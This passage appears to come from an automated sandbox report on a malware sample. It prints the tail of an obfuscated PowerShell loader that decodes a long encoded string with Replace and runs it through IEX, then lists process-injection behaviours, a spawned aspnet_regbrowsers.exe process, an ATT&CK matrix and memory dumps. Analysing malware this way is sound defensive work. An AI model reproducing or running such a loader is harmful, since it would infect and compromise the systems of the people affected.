KQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1111KDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ111KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1111KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1111KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1111KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11111KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11111KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQ1KDJIRFIIKQ111KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1111KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQ111KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1111KDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1'.Replace('KDJIRFIIKQ','0');IEX $RVIGZABQBSOIJNIGJODS
2⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3880

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
3⤵
PID:1488

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1488-149-0x0000000000400000-0x000000000040A000-memory.dmp

Filesize
40KB

Download
memory/1488-151-0x0000000005720000-0x0000000005721000-memory.dmp

Filesize
4KB

Download
memory/3880-121-0x0000027147C40000-0x0000027147C62000-memory.dmp

Filesize
136KB

Download
memory/3880-125-0x0000027147C30000-0x0000027147C32000-memory.dmp

Filesize
8KB

Download
memory/3880-126-0x0000027147C33000-0x0000027147C35000-memory.dmp

Filesize
8KB

Download
memory/3880-127-0x0000027148930000-0x00000271489A6000-memory.dmp

Filesize
472KB

Download
memory/3880-136-0x0000027147C36000-0x0000027147C38000-memory.dmp

Filesize
8KB

Download
memory/3880-147-0x00000271488E0000-0x00000271488F2000-memory.dmp

Filesize
72KB

Download
memory/3880-148-0x0000027148AE0000-0x0000027148AFA000-memory.dmp

Filesize
104KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads